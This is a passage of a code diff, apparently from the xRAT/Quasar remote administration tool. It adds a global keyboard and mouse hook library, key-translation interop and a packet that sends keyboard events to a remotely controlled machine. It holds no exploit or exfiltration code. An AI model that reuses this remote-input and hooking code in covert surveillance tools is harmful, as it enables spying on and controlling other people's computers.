/// If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx.
/// If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx
/// and return the value it returns; otherwise, other applications that have installed WH_CALLWNDPROC
/// hooks will not receive hook notifications and may behave incorrectly as a result. If the hook
/// procedure does not call CallNextHookEx, the return value should be zero.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callwndproc.asp
/// </remarks>
public delegate IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam);
}

View File

@ -0,0 +1,31 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
using Microsoft.Win32.SafeHandles;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private static bool _closing;
static HookProcedureHandle()
{
Application.ApplicationExit += (sender, e) => { _closing = true; };
}
public HookProcedureHandle()
: base(true)
{
}
protected override bool ReleaseHandle()
{
//NOTE Calling Unhook during processexit causes deley
if (_closing) return true;
return HookNativeMethods.UnhookWindowsHookEx(handle) != 0;
}
}
}

View File

@ -0,0 +1,35 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal class HookResult : IDisposable
{
private readonly HookProcedureHandle m_Handle;
private readonly HookProcedure m_Procedure;
public HookResult(HookProcedureHandle handle, HookProcedure procedure)
{
m_Handle = handle;
m_Procedure = procedure;
}
public HookProcedureHandle Handle
{
get { return m_Handle; }
}
public HookProcedure Procedure
{
get { return m_Procedure; }
}
public void Dispose()
{
m_Handle.Dispose();
}
}
}

View File

@ -0,0 +1,43 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
/// <summary>
/// The KeyboardHookStruct structure contains information about a low-level keyboard input event.
/// </summary>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp
/// </remarks>
[StructLayout(LayoutKind.Sequential)]
internal struct KeyboardHookStruct
{
/// <summary>
/// Specifies a virtual-key code. The code must be a value in the range 1 to 254.
/// </summary>
public int VirtualKeyCode;
/// <summary>
/// Specifies a hardware scan code for the key.
/// </summary>
public int ScanCode;
/// <summary>
/// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag.
/// </summary>
public int Flags;
/// <summary>
/// Specifies the Time stamp for this message.
/// </summary>
public int Time;
/// <summary>
/// Specifies extra information associated with the message.
/// </summary>
public int ExtraInfo;
}
}

View File

@ -0,0 +1,366 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using xServer.Core.MouseKeyHook.Implementation;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class KeyboardNativeMethods
{
//values from Winuser.h in Microsoft SDK.
public const byte VK_SHIFT = 0x10;
public const byte VK_CAPITAL = 0x14;
public const byte VK_NUMLOCK = 0x90;
public const byte VK_LSHIFT = 0xA0;
public const byte VK_RSHIFT = 0xA1;
public const byte VK_LCONTROL = 0xA2;
public const byte VK_RCONTROL = 0xA3;
public const byte VK_LMENU = 0xA4;
public const byte VK_RMENU = 0xA5;
public const byte VK_LWIN = 0x5B;
public const byte VK_RWIN = 0x5C;
public const byte VK_SCROLL = 0x91;
public const byte VK_INSERT = 0x2D;
//may be possible to use these aggregates instead of L and R separately (untested)
public const byte VK_CONTROL = 0x11;
public const byte VK_MENU = 0x12;
public const byte VK_PACKET = 0xE7;
//Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods
private static int lastVirtualKeyCode = 0;
private static int lastScanCode = 0;
private static byte[] lastKeyState = new byte[256];
private static bool lastIsDead = false;
/// <summary>
/// Translates a virtual key to its character equivalent using the current keyboard layout without knowing the
/// scancode in advance.
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="fuState"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int fuState, out char[] chars)
{
var dwhkl = GetActiveKeyboard();
int scanCode = MapVirtualKeyEx(virtualKeyCode, (int) MapType.MAPVK_VK_TO_VSC, dwhkl);
TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
}
/// <summary>
/// Translates a virtual key to its character equivalent using the current keyboard layout
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="scanCode"></param>
/// <param name="fuState"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, out char[] chars)
{
var dwhkl = GetActiveKeyboard(); //get the active keyboard layout
TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
}
/// <summary>
/// Translates a virtual key to its character equivalent using a specified keyboard layout
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="scanCode"></param>
/// <param name="fuState"></param>
/// <param name="dwhkl"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, IntPtr dwhkl, out char[] chars)
{
StringBuilder pwszBuff = new StringBuilder(64);
KeyboardState keyboardState = KeyboardState.GetCurrent();
byte[] currentKeyboardState = keyboardState.GetNativeState();
bool isDead = false;
if (keyboardState.IsDown(Keys.ShiftKey))
currentKeyboardState[(byte) Keys.ShiftKey] = 0x80;
if (keyboardState.IsToggled(Keys.CapsLock))
currentKeyboardState[(byte) Keys.CapsLock] = 0x01;
var relevantChars = ToUnicodeEx(virtualKeyCode, scanCode, currentKeyboardState, pwszBuff, pwszBuff.Capacity, fuState, dwhkl);
switch (relevantChars)
{
case -1:
isDead = true;
ClearKeyboardBuffer(virtualKeyCode, scanCode, dwhkl);
chars = null;
break;
case 0:
chars = null;
break;
case 1:
if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] };
else chars = null;
break;
// Two or more (only two of them is relevant)
default:
if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] };
else chars = new[] { pwszBuff[0] };
break;
}
if (lastVirtualKeyCode != 0 && lastIsDead)
{
if (chars != null)
{
StringBuilder sbTemp = new StringBuilder(5);
ToUnicodeEx(lastVirtualKeyCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, 0, dwhkl);
lastIsDead = false;
lastVirtualKeyCode = 0;
}
return;
}
lastScanCode = scanCode;
lastVirtualKeyCode = virtualKeyCode;
lastIsDead = isDead;
lastKeyState = (byte[]) currentKeyboardState.Clone();
}
private static void ClearKeyboardBuffer(int vk, int sc, IntPtr hkl)
{
var sb = new StringBuilder(10);
int rc;
do
{
byte[] lpKeyStateNull = new Byte[255];
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
} while (rc < 0);
}
/// <summary>
/// Gets the input locale identifier for the active application's thread. Using this combined with the ToUnicodeEx and
/// MapVirtualKeyEx enables Windows to properly translate keys based on the keyboard layout designated for the
/// application.
/// </summary>
/// <returns>HKL</returns>
private static IntPtr GetActiveKeyboard()
{
IntPtr hActiveWnd = ThreadNativeMethods.GetForegroundWindow(); //handle to focused window
int dwProcessId;
int hCurrentWnd = ThreadNativeMethods.GetWindowThreadProcessId(hActiveWnd, out dwProcessId);
//thread of focused window
return GetKeyboardLayout(hCurrentWnd); //get the layout identifier for the thread whose window is focused
}
/// <summary>
/// The ToAscii function translates the specified virtual-key code and keyboard
/// state to the corresponding character or characters. The function translates the code
/// using the input language and physical keyboard layout identified by the keyboard layout handle.
/// </summary>
/// <param name="uVirtKey">
/// [in] Specifies the virtual-key code to be translated.
/// </param>
/// <param name="uScanCode">
/// [in] Specifies the hardware scan code of the key to be translated.
/// The high-order bit of this value is set if the key is up (not pressed).
/// </param>
/// <param name="lpbKeyState">
/// [in] Pointer to a 256-byte array that contains the current keyboard state.
/// Each element (byte) in the array contains the state of one key.
/// If the high-order bit of a byte is set, the key is down (pressed).
/// The low bit, if set, indicates that the key is toggled on. In this function,
/// only the toggle bit of the CAPS LOCK key is relevant. The toggle state
/// of the NUM LOCK and SCROLL LOCK keys is ignored.
/// </param>
/// <param name="lpwTransKey">
/// [out] Pointer to the buffer that receives the translated character or characters.
/// </param>
/// <param name="fuState">
/// [in] Specifies whether a menu is active. This parameter must be 1 if a menu is active, or 0 otherwise.
/// </param>
/// <returns>
/// If the specified key is a dead key, the return value is negative. Otherwise, it is one of the following values.
/// Value Meaning
/// 0 The specified virtual key has no translation for the current state of the keyboard.
/// 1 One character was copied to the buffer.
/// 2 Two characters were copied to the buffer. This usually happens when a dead-key character
/// (accent or diacritic) stored in the keyboard layout cannot be composed with the specified
/// virtual key to form a single character.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
/// </remarks>
[Obsolete("Use ToUnicodeEx instead")]
[DllImport("user32.dll")]
public static extern int ToAscii(
int uVirtKey,
int uScanCode,
byte[] lpbKeyState,
byte[] lpwTransKey,
int fuState);
/// <summary>
/// Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters.
/// </summary>
/// <param name="wVirtKey">[in] The virtual-key code to be translated.</param>
/// <param name="wScanCode">
/// [in] The hardware scan code of the key to be translated. The high-order bit of this value is
/// set if the key is up.
/// </param>
/// <param name="lpKeyState">
/// [in, optional] A pointer to a 256-byte array that contains the current keyboard state. Each
/// element (byte) in the array contains the state of one key. If the high-order bit of a byte is set, the key is down.
/// </param>
/// <param name="pwszBuff">
/// [out] The buffer that receives the translated Unicode character or characters. However, this
/// buffer may be returned without being null-terminated even though the variable name suggests that it is
/// null-terminated.
/// </param>
/// <param name="cchBuff">[in] The size, in characters, of the buffer pointed to by the pwszBuff parameter.</param>
/// <param name="wFlags">
/// [in] The behavior of the function. If bit 0 is set, a menu is active. Bits 1 through 31 are
/// reserved.
/// </param>
/// <param name="dwhkl">The input locale identifier used to translate the specified code.</param>
/// <returns>
/// -1 &lt;= return &lt;= n
/// <list type="bullet">
/// <item>
/// -1 = The specified virtual key is a dead-key character (accent or diacritic). This value is returned
/// regardless of the keyboard layout, even if several characters have been typed and are stored in the
/// keyboard state. If possible, even with Unicode keyboard layouts, the function has written a spacing version
/// of the dead-key character to the buffer specified by pwszBuff. For example, the function writes the
/// character SPACING ACUTE (0x00B4), rather than the character NON_SPACING ACUTE (0x0301).
/// </item>
/// <item>
/// 0 = The specified virtual key has no translation for the current state of the keyboard. Nothing was
/// written to the buffer specified by pwszBuff.
/// </item>
/// <item> 1 = One character was written to the buffer specified by pwszBuff.</item>
/// <item>
/// n = Two or more characters were written to the buffer specified by pwszBuff. The most common cause
/// for this is that a dead-key character (accent or diacritic) stored in the keyboard layout could not be
/// combined with the specified virtual key to form a single character. However, the buffer may contain more
/// characters than the return value specifies. When this happens, any extra characters are invalid and should
/// be ignored.
/// </item>
/// </list>
/// </returns>
[DllImport("user32.dll")]
public static extern int ToUnicodeEx(int wVirtKey,
int wScanCode,
byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder pwszBuff,
int cchBuff,
int wFlags,
IntPtr dwhkl);
/// <summary>
/// The GetKeyboardState function copies the status of the 256 virtual keys to the
/// specified buffer.
/// </summary>
/// <param name="pbKeyState">
/// [in] Pointer to a 256-byte array that contains keyboard key states.
/// </param>
/// <returns>
/// If the function succeeds, the return value is nonzero.
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
/// </remarks>
[DllImport("user32.dll")]
public static extern int GetKeyboardState(byte[] pbKeyState);
/// <summary>
/// The GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is
/// up, down, or toggled
/// (on, off—alternating each time the key is pressed).
/// </summary>
/// <param name="vKey">
/// [in] Specifies a virtual key. If the desired virtual key is a letter or digit (A through Z, a through z, or 0
/// through 9), nVirtKey must be set to the ASCII value of that character. For other keys, it must be a virtual-key
/// code.
/// </param>
/// <returns>
/// The return value specifies the status of the specified virtual key, as follows:
/// If the high-order bit is 1, the key is down; otherwise, it is up.
/// If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The
/// key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be
/// on when the key is toggled, and off when the key is untoggled.
/// </returns>
/// <remarks>http://msdn.microsoft.com/en-us/library/ms646301.aspx</remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern short GetKeyState(int vKey);
/// <summary>
/// Translates (maps) a virtual-key code into a scan code or character value, or translates a scan code into a
/// virtual-key code.
/// </summary>
/// <param name="uCode">
/// [in] The virtual key code or scan code for a key. How this value is interpreted depends on the
/// value of the uMapType parameter.
/// </param>
/// <param name="uMapType">
/// [in] The translation to be performed. The value of this parameter depends on the value of the
/// uCode parameter.
/// </param>
/// <param name="dwhkl">[in] The input locale identifier used to translate the specified code.</param>
/// <returns></returns>
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern int MapVirtualKeyEx(int uCode, int uMapType, IntPtr dwhkl);
/// <summary>
/// Retrieves the active input locale identifier (formerly called the keyboard layout) for the specified thread.
/// If the idThread parameter is zero, the input locale identifier for the active thread is returned.
/// </summary>
/// <param name="dwLayout">[in] The identifier of the thread to query, or 0 for the current thread. </param>
/// <returns>
/// The return value is the input locale identifier for the thread. The low word contains a Language Identifier for the
/// input
/// language and the high word contains a device handle to the physical layout of the keyboard.
/// </returns>
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern IntPtr GetKeyboardLayout(int dwLayout);
/// <summary>
/// MapVirtualKeys uMapType
/// </summary>
internal enum MapType
{
/// <summary>
/// uCode is a virtual-key code and is translated into an unshifted character value in the low-order word of the return
/// value. Dead keys (diacritics) are indicated by setting the top bit of the return value. If there is no translation,
/// the function returns 0.
/// </summary>
MAPVK_VK_TO_VSC,
/// <summary>
/// uCode is a virtual-key code and is translated into a scan code. If it is a virtual-key code that does not
/// distinguish between left- and right-hand keys, the left-hand scan code is returned. If there is no translation, the
/// function returns 0.
/// </summary>
MAPVK_VSC_TO_VK,
/// <summary>
/// uCode is a scan code and is translated into a virtual-key code that does not distinguish between left- and
/// right-hand keys. If there is no translation, the function returns 0.
/// </summary>
MAPVK_VK_TO_CHAR,
/// <summary>
/// uCode is a scan code and is translated into a virtual-key code that distinguishes between left- and right-hand
/// keys. If there is no translation, the function returns 0.
/// </summary>
MAPVK_VSC_TO_VK_EX
}
}
}

View File

@ -0,0 +1,123 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class Messages
{
//values from Winuser.h in Microsoft SDK.
/// <summary>
/// The WM_MOUSEMOVE message is posted to a window when the cursor moves.
/// </summary>
public const int WM_MOUSEMOVE = 0x200;
/// <summary>
/// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button
/// </summary>
public const int WM_LBUTTONDOWN = 0x201;
/// <summary>
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
/// </summary>
public const int WM_RBUTTONDOWN = 0x204;
/// <summary>
/// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button
/// </summary>
public const int WM_MBUTTONDOWN = 0x207;
/// <summary>
/// The WM_LBUTTONUP message is posted when the user releases the left mouse button
/// </summary>
public const int WM_LBUTTONUP = 0x202;
/// <summary>
/// The WM_RBUTTONUP message is posted when the user releases the right mouse button
/// </summary>
public const int WM_RBUTTONUP = 0x205;
/// <summary>
/// The WM_MBUTTONUP message is posted when the user releases the middle mouse button
/// </summary>
public const int WM_MBUTTONUP = 0x208;
/// <summary>
/// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button
/// </summary>
public const int WM_LBUTTONDBLCLK = 0x203;
/// <summary>
/// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button
/// </summary>
public const int WM_RBUTTONDBLCLK = 0x206;
/// <summary>
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
/// </summary>
public const int WM_MBUTTONDBLCLK = 0x209;
/// <summary>
/// The WM_MOUSEWHEEL message is posted when the user presses the mouse wheel.
/// </summary>
public const int WM_MOUSEWHEEL = 0x020A;
/// <summary>
/// The WM_XBUTTONDOWN message is posted when the user presses the first or second X mouse
/// button.
/// </summary>
public const int WM_XBUTTONDOWN = 0x20B;
/// <summary>
/// The WM_XBUTTONUP message is posted when the user releases the first or second X mouse
/// button.
/// </summary>
public const int WM_XBUTTONUP = 0x20C;
/// <summary>
/// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second
/// X mouse button.
/// </summary>
/// <remarks>Only windows that have the CS_DBLCLKS style can receive WM_XBUTTONDBLCLK messages.</remarks>
public const int WM_XBUTTONDBLCLK = 0x20D;
/// <summary>
/// The WM_MOUSEHWHEEL message Sent to the active window when the mouse's horizontal scroll
/// wheel is tilted or rotated.
/// </summary>
public const int WM_MOUSEHWHEEL = 0x20E;
/// <summary>
/// The WM_KEYDOWN message is posted to the window with the keyboard focus when a non-system
/// key is pressed. A non-system key is a key that is pressed when the ALT key is not pressed.
/// </summary>
public const int WM_KEYDOWN = 0x100;
/// <summary>
/// The WM_KEYUP message is posted to the window with the keyboard focus when a non-system
/// key is released. A non-system key is a key that is pressed when the ALT key is not pressed,
/// or a keyboard key that is pressed when a window has the keyboard focus.
/// </summary>
public const int WM_KEYUP = 0x101;
/// <summary>
/// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user
/// presses the F10 key (which activates the menu bar) or holds down the ALT key and then
/// presses another key. It also occurs when no window currently has the keyboard focus;
/// in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that
/// receives the message can distinguish between these two contexts by checking the context
/// code in the lParam parameter.
/// </summary>
public const int WM_SYSKEYDOWN = 0x104;
/// <summary>
/// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user
/// releases a key that was pressed while the ALT key was held down. It also occurs when no
/// window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent
/// to the active window. The window that receives the message can distinguish between
/// these two contexts by checking the context code in the lParam parameter.
/// </summary>
public const int WM_SYSKEYUP = 0x105;
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class MouseNativeMethods
{
/// <summary>
/// The GetDoubleClickTime function retrieves the current double-click time for the mouse. A double-click is a series
/// of two clicks of the
/// mouse button, the second occurring within a specified time after the first. The double-click time is the maximum
/// number of
/// milliseconds that may occur between the first and second click of a double-click.
/// </summary>
/// <returns>
/// The return value specifies the current double-click time, in milliseconds.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/en-us/library/ms646258(VS.85).aspx
/// </remarks>
[DllImport("user32.dll")]
internal static extern int GetDoubleClickTime();
}
}

View File

@ -0,0 +1,54 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
/// <summary>
/// The <see cref="MouseStruct" /> structure contains information about a mouse input event.
/// </summary>
/// <remarks>
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
/// </remarks>
[StructLayout(LayoutKind.Explicit)]
internal struct MouseStruct
{
/// <summary>
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
/// </summary>
[FieldOffset(0x00)] public Point Point;
/// <summary>
/// Specifies information associated with the message.
/// </summary>
/// <remarks>
/// The possible values are:
/// <list type="bullet">
/// <item>
/// <description>0 - No Information</description>
/// </item>
/// <item>
/// <description>1 - X-Button1 Click</description>
/// </item>
/// <item>
/// <description>2 - X-Button2 Click</description>
/// </item>
/// <item>
/// <description>120 - Mouse Scroll Away from User</description>
/// </item>
/// <item>
/// <description>-120 - Mouse Scroll Toward User</description>
/// </item>
/// </list>
/// </remarks>
[FieldOffset(0x0A)] public Int16 MouseData;
/// <summary>
/// Returns a Timestamp associated with the input, in System Ticks.
/// </summary>
[FieldOffset(0x10)] public Int32 Timestamp;
}
}

View File

@ -0,0 +1,64 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xServer.Core.MouseKeyHook.WinApi
{
/// <summary>
/// The Point structure defines the X- and Y- coordinates of a point.
/// </summary>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/rectangl_0tiq.asp
/// </remarks>
[StructLayout(LayoutKind.Sequential)]
internal struct Point
{
/// <summary>
/// Specifies the X-coordinate of the point.
/// </summary>
public int X;
/// <summary>
/// Specifies the Y-coordinate of the point.
/// </summary>
public int Y;
public Point(int x, int y)
{
X = x;
Y = y;
}
public static bool operator ==(Point a, Point b)
{
return a.X == b.X && a.Y == b.Y;
}
public static bool operator !=(Point a, Point b)
{
return !(a == b);
}
public bool Equals(Point other)
{
return other.X == X && other.Y == Y;
}
public override bool Equals(object obj)
{
if (ReferenceEquals(null, obj)) return false;
if (obj.GetType() != typeof (Point)) return false;
return Equals((Point) obj);
}
public override int GetHashCode()
{
unchecked
{
return (X*397) ^ Y;
}
}
}
}

View File

@ -0,0 +1,46 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace xServer.Core.MouseKeyHook.WinApi
{
internal static class ThreadNativeMethods
{
/// <summary>
/// Retrieves the unmanaged thread identifier of the calling thread.
/// </summary>
/// <returns></returns>
[DllImport("kernel32.dll")]
internal static extern int GetCurrentThreadId();
/// <summary>
/// Retrieves a handle to the foreground window (the window with which the user is currently working).
/// The system assigns a slightly higher priority to the thread that creates the foreground window than it does to
/// other threads.
/// </summary>
/// <returns></returns>
[DllImport("user32.dll")]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
/// <summary>
/// Retrieves the identifier of the thread that created the specified window and, optionally, the identifier of the
/// process that
/// created the window.
/// </summary>
/// <param name="handle">A handle to the window. </param>
/// <param name="processId">
/// A pointer to a variable that receives the process identifier. If this parameter is not NULL,
/// GetWindowThreadProcessId copies the identifier of the process to the variable; otherwise, it does not.
/// </param>
/// <returns>The return value is the identifier of the thread that created the window. </returns>
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern int GetWindowThreadProcessId(IntPtr handle, out int processId);
}
}

View File

@ -136,6 +136,7 @@ public ConnectionHandler()
typeof (Packets.ServerPackets.GetDirectory),
typeof (Packets.ServerPackets.DoDownloadFile),
typeof (Packets.ServerPackets.DoMouseEvent),
typeof (Packets.ServerPackets.DoKeyboardEvent),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.DoVisitWebsite),
typeof (Packets.ServerPackets.DoShowMessageBox),

View File

@ -0,0 +1,30 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{
[ProtoContract]
public class DoKeyboardEvent : IPacket
{
[ProtoMember(1)]
public byte Key { get; set; }
[ProtoMember(2)]
public bool KeyDown { get; set; }
public DoKeyboardEvent()
{
}
public DoKeyboardEvent(byte key, bool keyDown)
{
this.Key = key;
this.KeyDown = keyDown;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}

View File

@ -11,6 +11,12 @@ public static class NativeMethods
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, int wParam, int lParam);
[DllImport("user32.dll")]
public static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk);
[DllImport("user32.dll")]
public static extern bool UnregisterHotKey(IntPtr hWnd, int id);
[DllImport("uxtheme.dll", CharSet = CharSet.Unicode)]
public extern static int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList);

View File

@ -7,6 +7,8 @@ public enum MouseAction
RightDown,
RightUp,
MoveCursor,
ScrollUp,
ScrollDown,
None
}
}

View File

@ -28,6 +28,7 @@ protected override void Dispose(bool disposing)
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop));
this.btnStart = new System.Windows.Forms.Button();
this.btnStop = new System.Windows.Forms.Button();
@ -35,14 +36,16 @@ private void InitializeComponent()
this.lblQuality = new System.Windows.Forms.Label();
this.lblQualityShow = new System.Windows.Forms.Label();
this.btnMouse = new System.Windows.Forms.Button();
this.picDesktop = new xServer.Controls.RapidPictureBox();
this.panelTop = new System.Windows.Forms.Panel();
this.btnKeyboard = new System.Windows.Forms.Button();
this.cbMonitors = new System.Windows.Forms.ComboBox();
this.btnHide = new System.Windows.Forms.Button();
this.btnShow = new System.Windows.Forms.Button();
this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components);
this.picDesktop = new xServer.Controls.RapidPictureBox();
((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
this.panelTop.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
this.SuspendLayout();
//
// btnStart
@ -68,11 +71,11 @@ private void InitializeComponent()
//
// barQuality
//
this.barQuality.Location = new System.Drawing.Point(230, 3);
this.barQuality.Location = new System.Drawing.Point(206, -1);
this.barQuality.Maximum = 100;
this.barQuality.Minimum = 1;
this.barQuality.Name = "barQuality";
this.barQuality.Size = new System.Drawing.Size(104, 45);
this.barQuality.Size = new System.Drawing.Size(76, 45);
this.barQuality.TabIndex = 3;
this.barQuality.Value = 75;
this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll);
@ -80,7 +83,7 @@ private void InitializeComponent()
// lblQuality
//
this.lblQuality.AutoSize = true;
this.lblQuality.Location = new System.Drawing.Point(184, 18);
this.lblQuality.Location = new System.Drawing.Point(167, 5);
this.lblQuality.Name = "lblQuality";
this.lblQuality.Size = new System.Drawing.Size(47, 13);
this.lblQuality.TabIndex = 4;
@ -89,7 +92,7 @@ private void InitializeComponent()
// lblQualityShow
//
this.lblQualityShow.AutoSize = true;
this.lblQualityShow.Location = new System.Drawing.Point(254, 38);
this.lblQualityShow.Location = new System.Drawing.Point(220, 26);
this.lblQualityShow.Name = "lblQualityShow";
this.lblQualityShow.Size = new System.Drawing.Size(52, 13);
this.lblQualityShow.TabIndex = 5;
@ -98,34 +101,18 @@ private void InitializeComponent()
// btnMouse
//
this.btnMouse.Image = global::xServer.Properties.Resources.mouse_delete;
this.btnMouse.Location = new System.Drawing.Point(340, 10);
this.btnMouse.Location = new System.Drawing.Point(302, 5);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(28, 28);
this.btnMouse.TabIndex = 6;
this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input.");
this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click);
//
// picDesktop
//
this.picDesktop.BackColor = System.Drawing.Color.Black;
this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default;
this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill;
this.picDesktop.GetImageSafe = null;
this.picDesktop.Location = new System.Drawing.Point(0, 0);
this.picDesktop.Name = "picDesktop";
this.picDesktop.Running = false;
this.picDesktop.Size = new System.Drawing.Size(784, 562);
this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picDesktop.TabIndex = 0;
this.picDesktop.TabStop = false;
this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown);
this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove);
this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp);
//
// panelTop
//
this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.panelTop.Controls.Add(this.btnKeyboard);
this.panelTop.Controls.Add(this.cbMonitors);
this.panelTop.Controls.Add(this.btnHide);
this.panelTop.Controls.Add(this.lblQualityShow);
@ -139,6 +126,17 @@ private void InitializeComponent()
this.panelTop.Size = new System.Drawing.Size(384, 57);
this.panelTop.TabIndex = 7;
//
// btnKeyboard
//
this.btnKeyboard.Image = global::xServer.Properties.Resources.keyboard_delete;
this.btnKeyboard.Location = new System.Drawing.Point(336, 5);
this.btnKeyboard.Name = "btnKeyboard";
